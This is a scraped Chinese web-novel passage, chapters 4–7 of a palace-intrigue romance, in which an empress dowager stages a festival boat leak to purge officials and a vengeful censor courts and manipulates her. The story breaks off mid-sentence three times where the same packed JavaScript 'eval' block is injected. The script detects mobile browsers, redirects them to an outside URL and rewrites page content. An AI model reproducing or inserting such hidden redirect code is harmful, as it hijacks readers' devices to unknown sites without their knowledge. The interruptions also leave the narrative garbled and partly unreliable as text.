水面一阵涟漪,船身渐稳,终是在最后关头驶到了最近的岸边。 徐卿安拉着上官栩从水里游了出来,带着她回到了岸上。 浑身都被水浸透,衣衫变得有些重,上官栩气喘吁吁,上岸后一下跌坐到了地面。 徐卿安忙蹲下关切:“娘娘您没……” “啪”的一声! 突然一下,上官栩抬手一巴掌甩到了徐卿安脸上。 “你放肆!” 她双目圆睁,怒不可遏。 4. 第 4 章 那巴掌力道很大,徐卿安一下被打偏了头,连带着残留在发丝上的池水都被甩了出去。 徐卿安将手慢慢抚上去,舌尖在里顶了顶,唇角噙起一抹几不可察的微笑。 片刻,他才回头,目色无辜又带着请罪的意味:“娘娘,您这是?” 上官栩颤着声怒斥:“谁让你把我带到这儿来的!” 上元时节,天还未完全回暖,现下又是夜里,这样浸一次水,上官栩浑身上下都止不住发颤。 她额前凌乱地贴了几缕头发,长睫也还挂着水珠。 然而偏她如此这般红了眼眶的模样,虽是在发怒,却没了平常时分的利气,倒像是她以前在中宫时的样子。 就像那年上巳日,拂杨柳的女郎。 徐卿安望着这样的她,心头忽然一凛,然而眼睫一颤之后,眼神愈发委屈地说道:“刚才娘娘落水,臣担心娘娘安危,只能先往最近的岸边游啊。” 昆明池虽是人工挖凿而成的,但面积却不并不小,如今他们这个位置已经在禁军设控的范围外了,就是连游船停靠的位置也离他们有段距离。 不过本来守卫在游船上的羽林卫反应也快,见到二人从水里出来后就立马跳下船,飞奔了过来。 徐卿安望了一眼奔袭在路上的羽林卫,再垂首道:“刚才在水里臣见娘娘姿态似乎不会水,所以臣便擅作主张,将娘娘往这一处带,还望娘娘恕罪。” 她扇他一巴掌,又用话斥他,那表现出来的意思无非就是在恼他在水下时的动作罢了。 恰在这时,羽林卫也都赶到。 为首的先拱手请了罪,然后再问上官栩是否安好。 上官栩现在神情已没刚才激动,只声音依旧有些虚浮的:“我没事,陛下怎么样?” “陛下无恙,现在身边也有人守着,娘娘放心。” 青禾脚步没有羽林卫那般快,现在才赶过来,她手中拿了件毛领斗篷,到了上官栩身边就为她披上。 “娘娘……” 青禾的眼神和语气中都透着担忧,在她的手到身前时,上官栩一把按住她的手腕,抬眼望向她。 二人对视上,各自心领神会。 上官栩挤出笑道:“我没事,不用担心,只是现在有些冷罢了。” 青禾点头,将人扶起,向跟随她而来的两个宫女吩咐道:“池水寒凉,快去带娘娘更衣,姜汤也让人准备好。” 宫女领下命,从她手中扶过上官栩。 徐卿安也同时跟着站起来,他的目光落在几人间,看着她们的动作。 待人走之后,青禾转过身向他道:“娘娘怕水,今夜多亏徐大人了。” 她看了眼他红痕明显的脸颊,又道:“药膏一会儿就送来,只是夜风寒重,徐大人浑身又被浸湿,便也早些去换身干净的衣服吧。” 说完,青禾微微欠身,向他告退。 徐卿安拱手回礼后留在原地,想着刚才青禾说的话,思绪尚还没回来。 他垂眸一瞬,望向了远处上官栩的背影。 她怕水么? 什么时候的事? “徐大人,岸边起风了,我们还是先回礼台那边吧,那儿应该也有多余的衣物供大人御寒。” 身旁的羽林卫开口提醒后,徐卿安方才回过神,收回视线转过头向他一笑:“好,有劳相陪了。” —— “船舱漏水了!船底破了!” 上官栩和身侧的少年帝王站在一片混乱之中,脚下船只晃荡。 “栩儿!” 少年帝王一手揽住她的腰,一手握住她的手腕,将她紧抱在怀里。 “别怕,不会有事的。”他的声音自她上方笼下。 突如其来的剧烈晃动让上官栩的脑子有些晕,可是她被这样拥在怀里,感受着他带给她的温暖和与之相随的安全感,便也觉得一切都不那么可怕了。 她被他拉过,脸埋在他的肩膀前,更紧密地抱着,身后是他轻柔且安抚触摸,她缓过劲来,慢慢抬眼往外看去。 甲板上,所有人都因这巨变慌了神,就是台下的禁军也没有一下反应过来。 可是上官栩却看见一个内宦踉跄的,快步向他们冲来,目光阴狠。 他的手从袖中拿出,闪出一道白光。 上官栩惊目一瞬,双手环上身前人的腰,然而方想调转二人位置,“小心”还未喊出口,她便听见上方传来“唔”的一声闷哼,船体跟着猛地一下倾覆。 全身被砸入水中,瞬间,失去了意识…… …… “娘娘,手炉。” 青禾的声音将上官栩的思绪抽回,同时也将手炉递了出去。 祈福仪式上出了那样的事后,上官栩便回了宫,如今方梳洗更衣完。 尽管殿内生了地龙,但被寒水泡了那么一遭,上官栩现下便仍是觉得冷的。 她闭目缓了缓,说道:“人都到了吗?” 青禾点头:“都已在偏殿等候。” 上官栩轻声:“让他们过来吧。” 上元祈福夜,在太后和皇帝同舟祈福的重要时刻竟出现了船舱漏水的情况,甚至一国太后还因此落水,所以无论有无人员伤亡,是意外还是人为,这件事情都不会是小事。 祈福一事所有章程由礼部主理,而游船等祈福所用的器物则由工部负责。 上官栩连夜召了礼部和工部的官员进宫问话,而徐卿安作为负责协理和监察此事的御史自然也要到场。 至于苏望,身为辅政首相,就是不请也会自来。 礼部来的是礼部尚书和掌祭祀之事的祠部司郎中,工部的尚书刚致仕不久,现下尚书之位还空缺,所以来的就是两位侍郎和水部司的郎中。 上官栩回宫后梳洗一番,换了新衣,一切仪态气度恢复如初。 徐卿安也有宫人在之前为他送上了一套全新的官服,又找了间偏殿让他擦拭了头发,重新束好了发髻,不至于殿前失仪。 只是他的脸仍有些红。 上官栩出来后邀了苏望入座,视线却不经意地扫过站在最后的徐卿安的身上。 他那时正行完礼,与众人一起低垂着头,这般寻常的姿态却莫名让上官栩感受到他身上的一股萧索感。 仿佛扇他巴掌的那一幕又重现在了她眼前。 上官栩平息一口气,移开眼,面向所有人开口道:“今日这事诸位是如何打算的?” 话落,工部和礼部的官员面面相觑,他们知是太后要交代来了。 苏望在一旁头也没抬的,端起茶盏喝了一口茶。 上官栩余光瞥见之后眼眸动了动,扬了扬下巴继续看向众人。 礼部的官员便率先开了口,他们的意思是,祈福的所有流程都是依照最先定好的计划进行,除了今日船舱漏水造成最后的收尾问题外,中间并无任何差错,然而那船舱漏水确实也不是他们礼部能够控制的。 于是矛头便转向了工部。 船体建造由工部全权负责,今夜之事全系于船舱漏水上。 工部的人辩解不得。 工部郎中出来道:“游船建造完成之际,臣就派人去做了验收,那时并无发现任何异常……” “那你的意思是说,这是天罚?本是好好的船,结果我和陛下一上去就坏了?”上官栩冷声道。 工部郎中闻言,脊背一凉,慌忙一下就跪了下去:“臣……不是这个意思……” 上官栩乜他一眼,哼一声继续道:“说来也真是巧啊,长安已经快四年没有举行这样的水祭了,结果今年才第一年重来,就出了这样的事,而上一次,也是船舱漏水,也是意外……” 说着,上官栩眼中闪过一丝怅然,然后又抬眼,眼神蓦地染上霜寒:“所以工程无恙,验收无恙,就是我天家有恙?坐不得游船,行不得水祭?” “上一次先帝因此而崩,这一次上天就是要我的命了?还是说要的是与我同行的,陛下的命啊!” “扑通”几声,殿里站着几位官员全部跪下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715872|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些话事关天家,而天家天德最是讳莫如深,朝堂之上但凡说到这些话,官员们都会如惊弓之鸟,不敢多说半句。 而当年昭帝猝崩也确实是震惊朝野之事,虽然最后定的是意外,但是当时被牵扯进去的人却不在少数,上官栩现下把两件事情合在一起说出来,威慑的同时,也大有一副想把今日之事和当年昭帝之事摆在同等严重层面的态势。 然而正与众人一起跪埋着头的徐卿安唇角却无声地勾了勾,轻轻嗤了声。 意外,上天殛罚…… 真有你的。 四年前就用了这套法子拉人下水,如今又要故技重施了? 啧啧,那将要被拉下水的人啊,提前为你备一杯清酒,送你上路吧。 苏望在此时开了口:“殿下不必如此惊慌,所幸今日没有酿成大祸,船舱漏水也许是哪一个地方没有注意好,才出了岔子,让他们自己查查,挨个问责就好了。” 上官栩便叹:“今日确实幸运,尤其是陛下,只微受了惊吓,身体上倒是无恙,可是苏公,这件事情坏就坏在百姓看见了。” “水祭重启,本想着让陛下与民同乐,为民祈福,以显陛下爱民仁德之心,然而接连两次水祭皆是出了同样的问题,中间甚至还隔了那么久,难免就会让百姓多生担忧——” “是否是我天家真有失德之嫌,才让上苍接连两次在水祭上降灾。” “苏公,就算你我都知道这是意外,可是百姓那儿总得有个交代啊。” 苏望垂眸,淡声道:“那殿下想要如何做?” 上官栩也算有商有量道:“其实我想的和苏公一样,就是查一查到底是哪一步出了岔子,但是,要查得彻底,要查出之后对相关之人从重处置,以此向百姓交代——此为人祸,而非天罚。” 苏望沉吟片刻,抬眼问地上跪着的人:“你们的意思呢?” 这事情直指工部,工部的人自然不敢多言,而偏巧祈福一事又是礼部主导,若不和工部划清界限难免火就会烧到自己身上,然而礼部官员又摸不清苏望这话里的意思——到底查还是不查,所以便是心里想让上官栩去查工部,也不好说出来。 跪在最后的徐卿安在此时跪直身子拱手道:“臣觉得,太后殿下说得极是。” 上官栩不动声色地看过去。 徐卿安也没抬头,继续道:“这件事情一则事关殿下和陛下的安危,陛下更是一国之主,此事若不严查,恐怕有损天威。” “二则,正如殿下所说的——天德,长安水祭本已停了几年,偏巧今年再举行时就遇上了与之前同样的事,若有居心不轨之人将两者联合起来做文章,那更是于大晋和陛下都是不利的。” “所以我们要趁此之前,先向百姓给出个交代,也是向陛下和殿下给出交代。” 话落,既有人站了出来,礼部的官员便也连忙跟着附和了徐卿安的说法。 上官栩垂眸,朱唇浅扬,压下来后又望向了一旁的苏望。 他默了默,终是听他说道:“既都这样想,那就依殿下的意思来办吧。” 上官栩神色如常:“好,那这件事就先交由御史台去查办。” 适才落了水,上官栩有些咳嗽,事情商量好之后就让众人先回去了。 徐卿安走在队伍的最后头,脚步缓慢,他听见上官栩愈发频繁的咳嗽声,与端药进来的宫女擦肩而过。 那药是刚煎好的,还冒着热气,只是那缕缕雾丝就像是苦涩化作而成的,顺着风,侵入人的口鼻中。 徐卿安闻见后,舌尖一下泛起苦,眉头一皱,头不觉往后,往上官栩的方向一偏。 然而只一瞬,他便克制住了自己的冲动,偏头回来。 有什么好心疼的? 当年掩护刺客,拖他下水的,不正是她么? 那年春三月的水可比今年上元夜的要冷得多啊。 徐卿安神色恢复如初,甚至眸色变得更冷,继续迈步向前。 只是袖中握着的拳头,更紧了。 5. 第 5 章 三月三,春回地暖的时节。 可是曲江的水依旧是冷的,依旧是冰寒刺骨的。 好冷…… 江水侵蚀着全身,血液从背后的伤口流出,跟着江水蔓延。 周遭的一切都是黑的,周景知无助地浸泡在江水里,感受着自己的下沉。 那刺他的匕首上应该涂了毒,让他所有的感官都变得麻木,视线开始模糊。 江面上是有光的,可是他用仅存的意志凝眸望着一处离他远去的黑色轮廓—— 那是他的皇后被跳下来的禁军救走了。 她没有回头,没有挣扎,极为从容地在禁军的搀扶下向水面上游去。 好冷啊…… 他的身边也有禁军赶来。 可不是来救他的。 禁军游到他身边,一脚,将他踹进了更深的深渊…… …… 房间的窗户没有合拢,碳炉也没有点上,屏风后的浴桶蓄满水,却是平静非常,周围没有任何雾气缭绕。 徐卿安从水面下一下破水而起,水珠淋漓落下,滴嗒声一片,房内的平静方才被打破。 发梢、指尖皆是浸水后留下的痕迹。 外面的风绕过屏风吹过,身上残留的水珠缓缓蒸发,带走热气。 可是这样也还不够冷。 就算浸在冷水中,吹着寒风,也不够冷。 不够那年上巳夜的冷。 徐卿安抬眼,长睫下的眼底通红。 他呼吸微颤,想着青禾对他说过的话,凝眸望着虚无。 怕水么? 可该怕的不应是我么? —— 徐卿安回了卧房,坐在书桌前,桌案上铺陈着纸张,上面密密麻麻的,写满了字。 然而徐卿安现下却是手支着案,极为闲适地把玩着手里的小白瓷瓶,一目不错地端详着。 这是上官栩扇了他一巴掌之后派人给他送来的消肿药。 白瓷净冷,上面寻不到她的任何气息。 但他始终没有放下,也没有用过—— 虽然那时她很生气,但以她的力道,不至于把他扇得脸红肿、口吐血,不过多留一会儿印记在脸上罢了。 “咚咚咚!” “开门!” 房门被急促敲响,外面传来的开门声不容拒绝。 徐卿安回神,将白瓷瓶放好,赶忙就去开了门。 门外站着有两人,一个是颇有仙道之气的长须霜发的老者,一个是站在他身后神态身姿极为恭敬乖巧的青年。 徐卿安眼神和后方的青年相接一瞬,便也立马变得乖巧起来,语气中还带着忐忑:“先生,您怎么来了?” 那老者霸道十分,眼中还满含怒气地恨他一眼,径直走进了屋:“我听人说,你洗了个冷水澡!” 徐卿安心虚地倒吸一口气,望向了老者身后之人。 “你别看他!”老者厉声打断,“你们两个,没人能瞒过我!” 徐卿安不得不承认:“是,是刚洗了个冷水澡。” 老者责备道:“你还嫌今日在昆明池里泡得不够是不是?偏还要回来洗冷水澡?怎么,你身上的毒拔完了?” “我……” 眼前的老者是五岩山上的名医,须丰以,当年徐卿安受难,多亏了他才保住了一命,而他身后的年青人就是他的徒弟,荀阳。 他授医严格,对待病人更是严格,这几年来,但凡徐卿安有哪里不遵医嘱,都免不了被他数落,骂一顿。 再加上他又是前辈,徐卿安在他面前当真是听话得不得了。 徐卿安支吾道:“我今日出门前不是已经吃下了先生给的驱寒丹吗?” 须丰以不苟言笑道:“所以就可以乱来了是吗?” 徐卿安语塞。 “坐下!”须丰以命令道,“把手伸出来。” 徐卿安听话照做。 须丰以把着脉,眸色渐沉:“免不了又要遭一阵风寒。” “荀阳!” 老者身后的青年应道:“师父……” 须丰以来回看了二人一眼后道:“我把药方开好后,你将药煎给他,务必看着他全部喝下!但凡他没好好喝药,你们两个,一起算账!” 荀阳拱手,毕恭毕敬的:“是。” 须丰以拂袖而去。 屋中余下的两人松了一口气,又面面相觑。 荀阳这才开口道:“你说你,我师父在的时候还乱来,真是欠骂了。” 徐卿安摇头笑了笑:“须大夫确实是性情中人,但我此举也不是在乱来。” 荀阳半信半疑道:“那你想做什么?” 徐卿安答非所问:“须大夫的方子一向极好,都说是药三分毒,他却能将毒性降到最低,愈补作用做到最高,这次他开的治风寒的药,你可能帮我制成药丸?” 荀阳挑眉:“你这是要带出去送人?虽说治风寒的药大多可以通用,但也没有把药当作礼物送的道理。” 徐卿安神情一滞,旋即辩驳道:“你怎这般想法奇特?我带出去送给谁?不过只是后面要去查工部的事,恐怕要忙碌起来,觉得药丸带在身上用起来更方便罢了。” “哦——”问一句还三句,荀阳似是而非地点点头,眼睛望向了书案那边,笑容戏谑,“才这么一会儿就又写满纸了?” 徐卿安知他话中之意,冷冷道:“要不这次我不喝药,我们俩在你师父面前同归于尽吧?” “你!”荀阳顿时吃瘪,又不得不服的,“你厉害,我不跟你扯。” 说着他就要走。 然而临走前他仍是关怀说道:“不过以后你若是想要拿什么药可以直接与我说,我虽医术不及我师父,但也自认比大多数大夫要厉害,你现在在拔毒关键阶段,不要乱来。” 徐卿安点头,也温声回道:“我知道,多谢。” 荀阳再看他一眼,觉得他必然也只是嘴上这样说说罢了,不然也不至于以他师父的医术拔了快四年毒都还没拔完。 荀阳眼中无奈,嘴上叹了一口气,终是离开了。 徐卿安独自坐在房中,夜间寂静,昏黄的烛光下,他不知觉地抬手抚过自己的一侧脸颊。 上面残留的红痕早已消失不见,然而脑中却一直浮现着她今夜的模样—— 就只吹了那一会儿风,在大殿里就那样咳嗽。 她的身子骨当是比他的还要弱。 徐卿安垂眸。 早知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715873|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,就不拉她下水了,想接近她,得她信任,总有其他办法。 —— 立政殿内,上官栩褪下了常服,只着了一身单薄中衣,上了床榻,准备歇下。 有侍女端了姜汤进来,青禾捧过,说道:“娘娘,喝了姜汤再睡吧。” 上官栩轻嗯一声,接过碗之后吹了吹,待觉温度差不多后,再仰头一口气将碗中的汤饮尽。 随后,她接过青禾递来的巾帕后擦了擦唇,说道:“刚才那碗药可是处理好了?” 青禾点头:“嗯,已经让人悄悄倒掉了,不会让外人察觉。”说完,她也跟着问了句,“明日还继续熬么?” “熬。”上官栩肯定道,“既然戏开始演了就要演全。” 今夜,众臣离开时端进来的那碗药,是上官栩提前准备好的,她最后也并没有喝。 而今夜船舱漏水,也是上官栩提前安排的。 唯一在她意料之外的,就是她今日落水一事。 因她一早就知今夜祈福的游船会漏水,所以她最初才让礼部放弃了巡游的计划,只是没想到礼部和徐卿安会先斩后奏,竟钻了空子,把祈福仪式和巡游合在了一起。 不过这其实也没什么。 因为不管怎样,祈福仪式时,上官栩都是在船上的。 也就是说,只要时间把控得当,就算游船划出去一圈,她也可以安全下船。 徐卿安也正是这样说的——祈福结束船就会靠岸,不会有太大时间的出入。 可是,船舱还是出问题了,就在仪式结束、准备划回礼台的时候。 莫不是安排下去的人动作太大了,一时没控制好船舱的漏水速度? 上官栩现在还弄不清楚。 不过今夜落水却也并非是什么坏事。 她最初因为顾及到小皇帝,所以就是准备在快要下船时,让船舱漏水并且让人宣扬出去,那时她仍可以如今日这般搬出天家德行的措辞来加重此事的严重程度。 然而若这样行事,或许就会显得小题大做,像是她刻意为之。 但她如今落水了,就不一样了—— 有昭帝的事在前,那是真的很容易死人了。 所以她在和众臣议事前,让青禾去备了一碗“苦药”,以此强调这次落水对她的影响,甚至到后面若需要,她还可以给自己营造一副虚弱不堪的假象。 只要能把这件事情闹大,只要能达成她的目的。 当年昭帝之事,朝中多少官员被借此清算。 那是苏望的手笔。 这一次,她也借着他的法子来,清一清他的人,虽说她难做到昭帝那事的程度,但对于这一次她想要清算的人,也够了。 至于徐卿安…… 上官栩回想着近日这个人身上的一切。 这个人的心思她确实至今也没摸透。 不过今日用了他两回,倒也还趁手。 尤其是在殿里时,他竟能在苏望面前主动站出来,站在她这边,以至于让她准备的药都没派上最初的用场。 也算帮她免了口舌之苦。 倒真能看出他的几分诚意了。 那便再多用几回吧。 若真有二心,再杀不迟。 6. 第 6 章 立政殿侧室内,香薰袅袅,兰香沁脾。 上官栩半躺在里面的小榻上,支额看着书。 青禾轻步进来,到她身边轻声:“娘娘,阿筝回京了。” 上官栩抬眼,先往侧室前方的画像那儿看了一眼,再坐起身道:“出去说。” 此间侧室装扮简朴,就挂一副画像,画像前摆一桌案,然后侧边一方美人榻,便没有其他多余的装饰了。 上官栩时常在里面看书,但她几乎从不与人在这里谈论事情。 二人步出侧室后,上官栩才说道:“事情怎么样了?” 青禾道:“阿筝已经将人护送进京,诉状也送去了御史台,因是直接实名上诉,未用“风闻言事”[1],所以阿筝担心证人行踪泄露后,会有人对他们不利,便暂时没有回宫,继续留在暗处守着证人,也助他们把事情扩散了出去。” 上官栩颔首:“阿筝行事考虑一向周全。” 青禾便再道:“祈福之事,御史台那边已经查到了游船上,娘娘您看要做什么么?” “不用,就是要让他去查。”上官栩忽而笑了下,“如今证人进京,诉状上了,游船也查到了,我可把要用的东西都摆到他面前了,就看这一次,他接不接得住了。” —— 工部的事情,上官栩说是交给御史台去查,其实就是徐卿安去查。 负责此案的有两个御史,二人互相协作,也互相制衡。 船舱漏水,自然最先要查的就是船体本身了。 游船被拖上岸,徐卿安率先下到船舱里,找到漏水的位置。 船只下过水后许多痕迹都会被水冲散,但是也难保会有漏网之鱼。 正如之前所想,在上官栩重启水祭时,徐卿安便觉得她做这件事不会单纯。 所以他在后来同礼部安排章程时就一直在暗中探查着这件事,果然,在建造船只的柚木上发现了问题—— 柚木防虫防潮,是极佳的船只建造木料,毕竟船要下水,最怕就是经不住风浪,防不住水渗了。 然而徐卿安却发现用于搭建船舱的柚木表面上看起来无异,但其实只是表面封了一层蜡油提亮,内里结构早就腐朽,若是用这样的木料做船,下水之后用不了多久就会被水和船舱上面的重量一起压着变形,然后破裂。 不过徐卿安不仅没有声张,反而让人在祈福前夕潜到船舱里,对着那些柚木泼了点东西—— 柚木连接之后会用椰子壳的纤维填充缝隙,再加以用桐油和石灰涂抹加固防水,而泼的那个东西,就是能把那缝隙里的填充材料给腐化的。 也因此,船舱破裂漏水的速度超出了上官栩的预料。 徐卿安最先赶下来,其实也是为了看一看还有没有残留的痕迹,若有,他也好提前清理掉。 “徐御史,走得这么快,可是这下面有什么重要的线索啊?” 伴随着踩着木梯下来的脚步声,一声清幽的男音渐渐靠近—— 另一位负责此案的御史带着人走了下来。 徐卿安半蹲着,神色冷淡,并没在第一时间回话,而是凝眸望向了船舱破漏处,然后伸手靠近…… 直接将那块柚木折断下来! 后面的人俱是一惊。 “你这是做什么?” 徐卿安这才带起笑,拿着折下的木板面向众人站了起来:“线索啊。” “陈御史不妨看一看这木板。”他话语轻松,连带动作也显得悠然。 对面的御史陈峰接过木板,疑惑地来回翻转着看了看。 徐卿安提醒道:“陈御史注意看材质,也可以上手往里面碰一碰。” 陈峰便照做,随即惊道:“粉的!” 这木材看起来坚硬,实则一碰就碎,质地就像粉末一样。 徐卿安神态自若道:“看来船舱漏水的原因有结果了。” “徐大人!陈大人!” 有差役匆匆下到船舱来。 “御史台那边来消息,说刚有人到了御史台实名上诉状,状告工部刘侍郎强征土地、强抢民女!” —— 这边刚查到工部负责督造的游船木材上出了问题,那边就有状告工部侍郎。 徐卿安心领神会,回了御史台见过证人之后,就立马进了宫请见太后。 上官栩早已等候多时。 殿内,宫人将徐卿安领上来之后,青禾便带着众人退了出去。 徐卿安微诧异。 上官栩勾唇道:“我知道,徐卿现在来找我定是有要事要与我商谈,我提前遣人下去,也免了你的诸多顾虑。” 徐卿安便拱手:“娘娘果真慧眼如炬,什么事情都瞒不过娘娘。” 又是一贯的花言巧语,上官栩不和他废话:“你来,可是因为御史台实名诉状一事?” “是。”徐卿安抬眼望去,眼尾带笑,眸中流光,“但也不只是。” 上官栩也望着他,然而她神色却比刚才冷了些,根本不对他的笑意做任何回应。 只因她觉得她与他直入主题,而他却大有一副要弯弯绕绕的架势。 不识好歹。 然而下一句就听他说道:“臣今日去了游船上探查,发现船舱所用的柚木,只外表看起来正常,然内里早已腐朽,根本不适用于船只建造,更莫说是用于让娘娘和陛下乘坐的船了。” “又巧的是,就在臣发现柚木问题之后,就有人到御史台上了诉状,告的还是工部的侍郎,也算与游船之事相关的人物。” 上官栩闻言挑眉,明知故问道:“你的意思是,工部刘侍郎和上元夜游船漏水一事有直接关系?” 徐卿安垂眸微笑道:“这都要看娘娘的意思。” 上官栩:“哦?” 徐卿安说道:“虽说如今有人针对刘侍郎实名至御史台上诉,但上诉是一回事,查办又是另一回事。” “前段时间,工部尚书致仕,现下正是工部择选新尚书的关键时期,刘侍郎作为工部侍郎之一,自然就是尚书一职的备选官员,娘娘若是对他寄有厚望,那自然就要想办法让他少沾些对他不利的事情了。” “是这样啊。”上官栩轻轻笑了几声,离开座位,站起身来,一步一步,悠闲地走到殿中位置。 徐卿安也在余光中察觉到了她的靠近,微抬眼,正对上她盈盈流波的目光,他亦回笑,以此迎接她的到来。 她停在了他的面前,歪了歪头,视线离开他的双眸后,对着他脸上其他地方、连带着他颈下玉润的肌肤,扫了一眼又一眼。 她眼中含媚,声音柔柔:“徐卿可真是为我好打算啊。” 徐卿安自得道:“理应为娘娘分忧。” 然而下一刻,上官栩却突然冷脸。 “跪下!” 徐卿安怔忡一瞬,陡然下跪。 “娘娘……” 上官栩微扬下巴,睨他一眼,打断道:“为我分忧?上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715874|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元夜,游船巡江,你还没给我个交代呢。” 她声音变冷变柔:“我记得我曾说过,要取消巡游,可是到最后游船依旧出巡,甚至都没有提前与我说一声,怎么,是徐大人跟着礼部的人一起阳奉阴违?还是说,也同今日一样,是徐大人胡乱揣度我的意思所致啊!” 取消游船巡游一事,上官栩曾特意向徐卿安嘱咐过,让他转达给礼部的官员。 若真要论因果,就算是因为船只出了问题,但若真依上官栩最初的安排,游船只停靠岸边的话,那也不会发生落水的事情。 这件事她没有在当天晚上,向苏望和工部礼部的官员提起,却是在现在单独向徐卿安算起了账。 徐卿安心中微紧促,一下摸不清她的用意。 可是他依旧抬起脸笑道:“娘娘误会臣了,臣所思所想,真的都是为了娘娘啊。” 他眸光真诚,眉头还时不时地抬一下,露着委屈。 “游船出巡一事,确实是礼部的官员建议的。” “上元祈福,岁时重典,娘娘重启水祭,也是想与民同乐,多少人也想借此见一见娘娘和陛下,所以若是直接取消巡游,让百姓跑空,反而对陛下和娘娘的声望不好。” “臣又想着娘娘之前只是担忧陛下受寒才取消的巡游,那或许只要能将巡游时间控制好就可以了,两相取舍下,礼部便有了祈福时快速巡游的这个方案。” 说着,徐卿安兀然一呼:“然而臣实在没有想到,游船会出问题啊!” 他拱手请罪之后,头叩在地上。 上官栩立身站着,乜眼瞧着他。 “那你刚才说的工部尚书一事……” 徐卿安立直上身,拱手快速道:“臣身为监察御史,百官之事自是多有关注,没曾想娘娘并不喜欢,那以后臣不多言便是。” 说着,他就又要叩首下去,然而刚有动作,一只携着芍药淡香的柔荑就抚过他的下颌,钳住了他的下巴。 徐卿安眼睫瞬间轻颤,呼吸都快了瞬。 他从未预料到她会有此举动。 “娘娘……” 连说话都需用气声掩饰。 而她却从容地挑起笑道:“我并非不喜欢,我只是觉得,你说得太过直白了。太过直白就容易让别人抓住心思,你可明白?” 徐卿安表面自若地浮起笑:“明白,只是在娘娘面前,臣自觉无需伪装什么。” 上官栩双眸一觑:“嗯?” 徐卿安仍旧被她钳着下巴,然而他却已经消化了她的动作,更将这种钳制转变了一种享受。 当危机化作抚慰,开始慢慢占据上风。 他主动抬了抬下巴,让他的神情能够更清晰地落在她的眼里:“臣心向着娘娘,自然就应该将一切剖析在娘娘面前,没有隐瞒。” 他凑近的脸,带着极为诚挚的言语到上官栩的面前,就是要让她无可逃避地接受他现下传递给她的一切。 可是她长睫闪了闪,移开了眼。 徐卿安眼中的光瞬时寞然。 上官栩自然不会信他的话,但不知为何,她也并不排斥,虽没有再与他对视,但目光依旧流连于他玉白干净的面容上。 钳在下巴上的细指缓缓移动,停在了昨夜,她扇他的那处。 掌心跟着抚下,他蓦觉一烫。 往事回溯,痛和柔交织在一起。 “痛吗?”她问。 腰肢浅弯,呼吸带来热意。 7. 第 7 章 又只这一个动作,一句话,他的气息便再次不受控制。 她的手抚上他的脸,掌心温度传来的那一刻,除了记忆中的痛和当下的柔以外,他还不觉颤一下,浑身晕开一阵酥麻。 痛吗? 她问。 他的目光一直注视着她,就是想等她回望过来的那刻。 可是她始终没有如他的愿。 “现在不痛了。”他开口道,嘴上有些漫不经心,但双眸却仍紧紧地锁住她,执着地等着她的目光。 “现在不痛了,那就是之前是痛的了。”上官栩将他的底层意思挑明,“还以为你要说不痛呢。” 她终于看了过来。 尽管目中带着戏谑。 可是他却笑了:“那样的话娘娘不会信的。” “我为何不信?”上官栩疑惑道,“好听的话不都是这样说的么?” “因为那时,娘娘的手也痛啊。” 徐卿安将手掌缓缓覆上去,感受到她的指尖不自觉颤了下,而他却仍顺着她的指缝在她的手背上摩挲,又偏头蹭了蹭,将她的颤栗抚平。 “臣若说不痛,岂不是显得娘娘动手时,手也不痛了?可那时,臣分明见娘娘的手心也红了,臣又岂能说不痛呢?” “而且……”徐卿安顿了顿,再道,“臣刚才才说,臣心向着娘娘,自然现下就不应对娘娘有所隐瞒。” 上官栩没忍住笑了下。 她并不在乎他话中到底有几分真心几分假意,只是觉得现下这样突然有些有趣。 她的手心手背都因他的轻抚变得更加温热,她也就继续温和问道:“那你可曾怨我?” “怨?”徐卿安蹙了下眉,语气不明。 上官栩没在意,只补充道:“怨我在众目睽睽之下,扇了你一巴掌。” 徐卿安眼底的晦暗散去,唇角重新带起笑:“能帮得上娘娘,是臣的幸事,又如何会说得上怨?” “哦?扇你一巴掌和帮我有什么关系?”腰弯的久了难免会有不舒服,上官栩便立直身子问道。 放在徐卿安脸上的手也跟着抽了出来。 覆在肌肤上的温热没了,徐卿安掌中也觉得一空。 他跟着她的动作将手放下,手指摩挲着,在残留下的余热中温存。 上官栩看不见他手中的动作,只等着他回答。 片刻,徐卿安才抬眼道:“臣在说之前能否向娘娘讨个恩典?若是臣一会儿说错了话,还望娘娘容情,恕罪。” 上官栩翘首道:“这么严重啊?”她思忖一瞬,点头道,“好,准了。” 得了首肯,徐卿安便道:“游船漏水,娘娘坠水,这事看起来严重,但其实若周旋一下,也可以把这件事说得不严重。” 